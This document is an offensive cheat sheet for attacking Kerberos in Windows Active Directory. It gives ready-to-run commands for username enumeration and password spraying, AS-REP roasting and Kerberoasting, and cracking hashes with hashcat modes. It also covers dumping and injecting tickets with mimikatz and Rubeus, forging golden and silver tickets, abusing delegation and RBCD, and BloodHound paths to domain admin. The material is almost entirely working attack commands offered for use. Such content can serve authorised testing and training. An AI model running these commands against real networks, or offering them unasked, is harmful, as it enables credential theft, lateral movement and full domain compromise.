Kerberos Recon & Exploitation

KERBEROS ATTACK FLOW:
──────────────────────────────────────────────────────────────────────
  Domain Joined Client
        │
        ▼
  ┌──────────────────────────────┐
  │  Username Enumeration        │  ← kerbrute / Rubeus / LDAP
  └──────────┬───────────────────┘
             │
             ▼
  ┌──────────────────────────────┐
  │  AS-REQ / Preauth Testing    │  ← AS-REP roastable users
  └──────────┬───────────────────┘
             │
             ▼
  ┌──────────────────────────────┐
  │  TGS Requests for SPNs      │  ← Kerberoastable service accounts
  └──────────┬───────────────────┘
             │
             ▼
  ┌──────────────────────────────┐
  │  Ticket Abuse               │  ← Pass-the-Ticket, Golden/Silver
  └──────────┬───────────────────┘
             │
             ▼
  ┌──────────────────────────────┐
  │  Delegation Abuse           │  ← unconstrained / constrained / RBCD
  └──────────┬───────────────────┘
             │
             ▼
  ┌──────────────────────────────┐
  │  Domain Escalation          │  ← DCSync, Domain Admin, forest abuse
  └──────────────────────────────┘
──────────────────────────────────────────────────────────────────────

# Kerberos ports
nmap -p 88,464 <TARGET_IP>
nmap -sV -p 88,464 <TARGET_IP>

# UDP Kerberos (common)
nmap -sU -p 88,464 <TARGET_IP>

# KDC / domain hints from LDAP
ldapsearch -x -H ldap://<DC_IP> -s base namingContexts defaultNamingContext

# Domain / realm discovery via nmap scripts
nmap -p 88 --script krb5-enum-users <TARGET_IP>

# Reverse DNS / realm hints
host <TARGET_IP>
nslookup <TARGET_IP>

# Kerberos is time-sensitive — sync time first
ntpdate -u <DC_IP>
sudo timedatectl set-ntp true

# If time skew exists, tickets may fail with:
# KRB_AP_ERR_SKEW

# Realm = uppercase domain
# domain.local  → DOMAIN.LOCAL
# target.corp   → TARGET.CORP

# Installation
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64
chmod +x kerbrute_linux_amd64
mv kerbrute_linux_amd64 kerbrute

# Enumerate usernames from a wordlist
./kerbrute userenum -d DOMAIN.LOCAL --dc <DC_IP> users.txt

# Spray one password against all users
./kerbrute passwordspray -d DOMAIN.LOCAL --dc <DC_IP> users.txt 'Password123!'

# Brute force usernames with custom list
./kerbrute userenum -d DOMAIN.LOCAL --dc <DC_IP> /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt

# LDAP user listing
ldapsearch -x -H ldap://<DC_IP> -b "DC=domain,DC=local" "(objectClass=user)" sAMAccountName

# SMB/LDAP tools sometimes reveal usernames from descriptions, groups, sessions
crackmapexec smb <TARGET_IP> -u '' -p ''
crackmapexec ldap <DC_IP> -u '' -p ''

# BloodHound can reveal valid users and paths after collection

# On Windows
Rubeus.exe brute /password:Password123! /domain:DOMAIN.LOCAL /dc:<DC_IP> /outfile:validusers.txt

WHAT IT IS:
──────────────────────────────────────────────────────────────────────
  Accounts with preauthentication disabled can be queried without a password.
  The KDC returns an AS-REP encrypted with the user’s NT hash.
  Crack the hash offline to recover the plaintext password.
──────────────────────────────────────────────────────────────────────

# LDAP filter for DONT_REQ_PREAUTH
ldapsearch -x -H ldap://<DC_IP> -b "DC=domain,DC=local" \
  "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
  sAMAccountName

# CrackMapExec
crackmapexec ldap <DC_IP> -u username -p password --asreproast asrep_hashes.txt

# No password needed for roastable users
impacket-GetNPUsers DOMAIN.LOCAL/ -usersfile users.txt -no-pass -dc-ip <DC_IP> -outputfile asrep_hashes.txt

# Target one user
impacket-GetNPUsers DOMAIN.LOCAL/roastable_user -no-pass -dc-ip <DC_IP>

# Request AS-REP roastable tickets
Rubeus.exe asreproast /format:hashcat /nowrap

# Hashcat mode 18200
hashcat -a 0 -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

# John
john asrep_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

WHAT IT IS:
──────────────────────────────────────────────────────────────────────
  Any authenticated user can request service tickets for accounts with SPNs.
  The returned ticket is encrypted with the service account password hash.
  Crack it offline to obtain service credentials.
──────────────────────────────────────────────────────────────────────

ldapsearch -x -H ldap://<DC_IP> -D "user@domain.local" -w "pass" \
  -b "DC=domain,DC=local" \
  "(&(objectClass=user)(servicePrincipalName=*)(!(cn=krbtgt)))" \
  sAMAccountName servicePrincipalName

# List SPNs
impacket-GetUserSPNs DOMAIN.LOCAL/user:pass -dc-ip <DC_IP>

# Request tickets
impacket-GetUserSPNs DOMAIN.LOCAL/user:pass -dc-ip <DC_IP> -request -outputfile kerb_hashes.txt

# Target one account
impacket-GetUserSPNs DOMAIN.LOCAL/user:pass -dc-ip <DC_IP> -request-user svc_sql -outputfile kerb_hashes.txt

# Kerberoast in hashcat format
Rubeus.exe kerberoast /nowrap /format:hashcat

# Request specific SPN
Rubeus.exe kerberoast /user:svc_sql /nowrap /format:hashcat

# RC4 mode
hashcat -a 0 -m 13100 kerb_hashes.txt /usr/share/wordlists/rockyou.txt

# AES128 / AES256 modes
hashcat -a 0 -m 19700 kerb_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 19800 kerb_hashes.txt /usr/share/wordlists/rockyou.txt

# John
john kerb_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

  If you have a valid Kerberos ticket, you can inject it and authenticate
  without the plaintext password.

# List tickets
klist

# Export tickets
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

# Pass ticket
mimikatz.exe "kerberos::ptt ticket.kirbi" "exit"

# Inject ticket
Rubeus.exe ptt /ticket:ticket.kirbi

# Use ticket for network access
klist

# Access SMB / WinRM / LDAP with injected ticket if service tickets are valid
# Useful for lateral movement after ticket theft

  Golden Ticket = forged TGT using KRBTGT hash.
  Grants broad access in the domain and persists until KRBTGT is rotated.

# Dump KRBTGT hash first (via DCSync or secretsdump)
# Then forge ticket with Mimikatz
mimikatz.exe
kerberos::golden /user:attacker /domain:DOMAIN.LOCAL /sid:S-1-5-21-... /krbtgt:<KRBTGT_HASH> /id:500 /ptt

  Silver Ticket = forged service ticket for a specific SPN.
  Does not require contacting the KDC once forged.

mimikatz.exe
kerberos::golden /user:attacker /domain:DOMAIN.LOCAL /sid:S-1-5-21-... /target:HOSTNAME /service:cifs /rc4:<SERVICE_HASH> /ptt

  Golden tickets are broader and noisier.
  Silver tickets are more targeted and service-specific.

  Any user connecting to a server with unconstrained delegation can expose
  their TGT to that server. If a privileged account connects, the attacker
  can impersonate them.

# Find unconstrained delegation with PowerView
Get-NetComputer -Unconstrained

# BloodHound also identifies unconstrained delegation hosts

  A service account is allowed to delegate to specific SPNs only.
  S4U2Self + S4U2Proxy can still let an attacker impersonate users to those services.

# Find trusted-to-auth accounts
Get-NetUser -TrustedToAuth

# Rubeus S4U abuse example
Rubeus.exe s4u /user:Batch /domain:target.domain /rc4:<HASH> \
  /impersonateuser:Administrator /msdsspn:HTTP/target.domain /altservice:HOST /ptt

  Resource-Based Constrained Delegation uses msDS-AllowedToActOnBehalfOfOtherIdentity.
  If you can write this attribute on a target computer, you can delegate yourself.

# Create machine account if allowed
New-MachineAccount -MachineAccount ATTACKER1 -Password (ConvertTo-SecureString 'CovidSucks2021' -AsPlainText -Force)

# Configure RBCD
Set-DomainRBCD TARGETHOST -DelegateFrom ATTACKER1

# Request ticket via S4U
Rubeus.exe s4u /user:ATTACKER1$ /rc4:<HASH> /impersonateuser:Administrator /msdsspn:TERMSRV/TARGETHOST /ptt

# BloodHound
# Find computers with unconstrained delegation, users trusted to auth, and RBCD relationships

  Skeleton Key modifies LSASS so one master password works for all users.
  It is noisy and usually a lab / post-exploitation technique.

  Kerberos is strict about clock sync.
  If you see KRB_AP_ERR_SKEW, sync time before retrying.

  Stolen tickets can often be replayed until they expire.
  Monitor ticket lifetime and renewals.

  • Kerberoastable users
  • AS-REP roastable users
  • Unconstrained delegation
  • Constrained delegation rights
  • RBCD (msDS-AllowedToActOnBehalfOfOtherIdentity)
  • Sessions on privileged hosts
  • ACLs granting GenericAll / WriteDACL / WriteOwner

MATCH (u:User {dontreqpreauth:true}) RETURN u.name
MATCH (u:User {hasspn:true}) RETURN u.name
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {highvalue:true})) RETURN p

  User → Kerberoast service account → local admin on server → delegation abuse → DC access
  User → AS-REP roast account → password reuse → admin login elsewhere → DCSync
  GenericWrite on computer → RBCD → impersonate admin → service access

  AS-REP hash       → hashcat mode 18200
  Kerberoast RC4    → hashcat mode 13100
  Kerberoast AES128 → hashcat mode 19700
  Kerberoast AES256 → hashcat mode 19800

# Use rules for mangling
hashcat -a 0 -m 13100 kerb_hashes.txt rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule

# Check for reused passwords in other services after cracking
# Try SMB, LDAP, WinRM, RDP, SSH where applicable

RECON:
Kerberos ports?            → nmap -p 88,464 -sV <IP>
Valid users?               → kerbrute userenum -d DOMAIN.LOCAL --dc <DC_IP> users.txt

ROASTING:
AS-REP roast?              → impacket-GetNPUsers / Rubeus asreproast
Kerberoast?                → impacket-GetUserSPNs / Rubeus kerberoast
Crack AS-REP?              → hashcat -m 18200
Crack Kerberoast RC4?      → hashcat -m 13100
Crack Kerberoast AES?     → hashcat -m 19700 / 19800

TICKETS:
Have a ticket?             → mimikatz kerberos::ptt or Rubeus ptt
Need a forged TGT?        → mimikatz kerberos::golden
Need a forged service?    → silver ticket with service hash

DELEGATION:
Find unconstrained?        → PowerView / BloodHound
Constrained delegation?    → Get-NetUser -TrustedToAuth
RBCD abuse?                → Set-DomainRBCD + Rubeus s4u

Got a domain and Kerberos access?
│
├── Need valid usernames?
│   ├── kerbrute userenum
│   └── LDAP / BloodHound / SMB recon
│
├── Found AS-REP roastable users?
│   └── GetNPUsers / Rubeus asreproast → hashcat -m 18200
│
├── Found SPNs?
│   └── GetUserSPNs / Rubeus kerberoast → hashcat -m 13100
│
├── Got a ticket?
│   └── ptt via Mimikatz or Rubeus
│
├── Got KRBTGT hash?
│   └── Golden ticket
│
├── Got service hash?
│   └── Silver ticket
│
├── Unconstrained delegation?
│   └── Capture TGT / replay ticket
│
├── Constrained delegation?
│   └── S4U2Self + S4U2Proxy
│
└── RBCD writable?
    └── Write msDS-AllowedToActOnBehalfOfOtherIdentity → S4U abuse

kerbrute userenum -d DOMAIN.LOCAL --dc <DC_IP> users.txt
impacket-GetNPUsers DOMAIN.LOCAL/ -usersfile users.txt -no-pass -dc-ip <DC_IP>
impacket-GetUserSPNs DOMAIN.LOCAL/user:pass -dc-ip <DC_IP> -request
hashcat -m 18200 asrep_hashes.txt rockyou.txt
hashcat -m 13100 kerb_hashes.txt rockyou.txt